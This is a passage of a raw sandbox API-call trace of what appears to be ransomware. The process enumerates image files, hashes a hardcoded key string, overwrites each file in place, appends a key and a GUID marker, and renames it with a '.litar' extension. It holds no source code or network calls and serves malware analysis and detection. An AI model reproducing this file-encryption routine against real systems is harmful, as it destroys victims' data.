RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4730) returned 0x30fa0b0 [0126.148] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.148] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.148] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x472f, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x472f, lpOverlapped=0x0) returned 1 [0126.148] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.148] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x4734, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.148] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.148] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30fa0b0 [0126.148] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30fa0b0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.148] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa4e0 [0126.148] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.148] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.148] WriteFile (in: hFile=0x624, lpBuffer=0x30fa4e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa4e0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.149] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa4e0 | out: hHeap=0x5c0000) returned 1 [0126.149] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.149] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.149] CloseHandle (hObject=0x624) returned 1 [0126.149] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a06b8 [0126.149] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x880) returned 0x30fa0b0 [0126.149] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a06b8 | out: hHeap=0x5c0000) returned 1 [0126.149] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\gXqHnWD.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neqza\\gxqhnwd.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\gXqHnWD.bmp.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neqza\\gxqhnwd.bmp.litar")) returned 1 [0126.151] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.151] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.152] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ffb060 | out: hHeap=0x5c0000) returned 1 [0126.152] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x79d18d40, ftCreationTime.dwHighDateTime=0x1d4cc85, ftLastAccessTime.dwLowDateTime=0x260124d0, ftLastAccessTime.dwHighDateTime=0x1d4c5a2, ftLastWriteTime.dwLowDateTime=0x260124d0, ftLastWriteTime.dwHighDateTime=0x1d4c5a2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="KpZlD4zquX", cAlternateFileName="KPZLD4~1")) returned 1 [0126.152] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30843f0 [0126.152] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa6) returned 0x2fd8818 [0126.152] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30843f0 | out: hHeap=0x5c0000) returned 1 [0126.152] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a06b8 [0126.152] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x214) returned 0x30557d8 [0126.152] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30843f0 [0126.152] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0630 [0126.152] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084468 [0126.153] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x69ffd0 [0126.153] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x2ffb060 [0126.153] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0168 [0126.153] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0126.153] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x69fec0 [0126.153] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30844e0 [0126.153] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0388 [0126.153] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0300 [0126.153] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0278 [0126.153] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x69ff48 [0126.153] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.153] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.153] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084198 | out: hHeap=0x5c0000) returned 1 [0126.153] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a05a8 | out: hHeap=0x5c0000) returned 1 [0126.153] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ff7df0 | out: hHeap=0x5c0000) returned 1 [0126.153] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0520 | out: hHeap=0x5c0000) returned 1 [0126.153] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.153] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.153] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084120 | out: hHeap=0x5c0000) returned 1 [0126.153] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a07c8 | out: hHeap=0x5c0000) returned 1 [0126.153] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0126.153] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0058 | out: hHeap=0x5c0000) returned 1 [0126.153] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a01f0 | out: hHeap=0x5c0000) returned 1 [0126.153] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x308d780 | out: hHeap=0x5c0000) returned 1 [0126.153] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a01f0 [0126.153] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a06b8 | out: hHeap=0x5c0000) returned 1 [0126.153] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd8818 | out: hHeap=0x5c0000) returned 1 [0126.153] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x781a1a10, ftCreationTime.dwHighDateTime=0x1d4cc55, ftLastAccessTime.dwLowDateTime=0x5be3e4d0, ftLastAccessTime.dwHighDateTime=0x1d4c68c, ftLastWriteTime.dwLowDateTime=0x5be3e4d0, ftLastWriteTime.dwHighDateTime=0x1d4c68c, nFileSizeHigh=0x0, nFileSizeLow=0xd22a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pWM7.png", cAlternateFileName="")) returned 1 [0126.153] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.153] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8e) returned 0x2ff7df0 [0126.153] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.153] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\pWM7.png") returned=".png" [0126.154] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\pWM7.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neqza\\pwm7.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.154] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=53802) returned 1 [0126.155] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.156] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xd204, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.156] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.158] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0126.158] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0126.158] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.158] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0xd22a, lpOverlapped=0x0) returned 1 [0126.158] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.159] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.159] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.159] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.159] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a06b8) returned 1 [0126.159] CryptCreateHash (in: hProv=0x6a06b8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.159] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.159] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.159] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.159] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.159] GetLastError () returned 0x0 [0126.160] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.160] CryptReleaseContext (hProv=0x6a06b8, dwFlags=0x0) returned 1 [0126.160] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.160] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xd230) returned 0x30fa0b0 [0126.160] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.160] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.160] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0xd225, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0xd225, lpOverlapped=0x0) returned 1 [0126.160] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.160] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xd22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.160] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.160] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30fa0b0 [0126.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30fa0b0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.160] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa4e0 [0126.160] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.160] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.160] WriteFile (in: hFile=0x624, lpBuffer=0x30fa4e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa4e0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.161] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa4e0 | out: hHeap=0x5c0000) returned 1 [0126.161] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.161] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.161] CloseHandle (hObject=0x624) returned 1 [0126.162] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084120 [0126.162] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x880) returned 0x30fa0b0 [0126.162] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084120 | out: hHeap=0x5c0000) returned 1 [0126.162] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\pWM7.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neqza\\pwm7.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\pWM7.png.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neqza\\pwm7.png.litar")) returned 1 [0126.162] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.162] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.163] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ff7df0 | out: hHeap=0x5c0000) returned 1 [0126.163] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x406e470, ftCreationTime.dwHighDateTime=0x1d4d126, ftLastAccessTime.dwLowDateTime=0x6608c220, ftLastAccessTime.dwHighDateTime=0x1d4cb71, ftLastWriteTime.dwLowDateTime=0x6608c220, ftLastWriteTime.dwHighDateTime=0x1d4cb71, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="R5ZCMh", cAlternateFileName="")) returned 1 [0126.163] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084120 [0126.163] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.163] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084198 [0126.163] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.163] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084120 | out: hHeap=0x5c0000) returned 1 [0126.163] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f378db0, ftCreationTime.dwHighDateTime=0x1d4cc12, ftLastAccessTime.dwLowDateTime=0x827cf0, ftLastAccessTime.dwHighDateTime=0x1d4d479, ftLastWriteTime.dwLowDateTime=0x827cf0, ftLastWriteTime.dwHighDateTime=0x1d4d479, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WF0f1QmDHo82b2E", cAlternateFileName="WF0F1Q~1")) returned 1 [0126.163] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a06b8 [0126.163] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0058 [0126.163] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0126.163] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0058 | out: hHeap=0x5c0000) returned 1 [0126.163] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a06b8 | out: hHeap=0x5c0000) returned 1 [0126.164] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f378db0, ftCreationTime.dwHighDateTime=0x1d4cc12, ftLastAccessTime.dwLowDateTime=0x827cf0, ftLastAccessTime.dwHighDateTime=0x1d4d479, ftLastWriteTime.dwLowDateTime=0x827cf0, ftLastWriteTime.dwHighDateTime=0x1d4d479, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WF0f1QmDHo82b2E", cAlternateFileName="WF0F1Q~1")) returned 0 [0126.164] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0126.164] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0126.164] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee28 | out: hHeap=0x5c0000) returned 1 [0126.164] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0126.164] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084120 [0126.164] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0126.164] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.164] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.164] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.164] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.164] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.164] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.164] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.164] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.164] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.164] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.164] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.164] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.164] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.164] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.164] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.164] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.164] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.164] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.164] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.164] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.164] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.164] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.165] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.165] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.165] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.165] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.165] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0126.165] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.165] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.165] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.165] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.165] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.165] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.165] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.165] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.165] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.165] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.165] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.165] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.165] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.165] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.165] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.165] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.165] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.165] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.165] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.165] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.165] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.165] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.165] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.165] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.165] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.165] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.165] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.165] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.166] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.166] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.166] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.166] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.166] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.166] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, 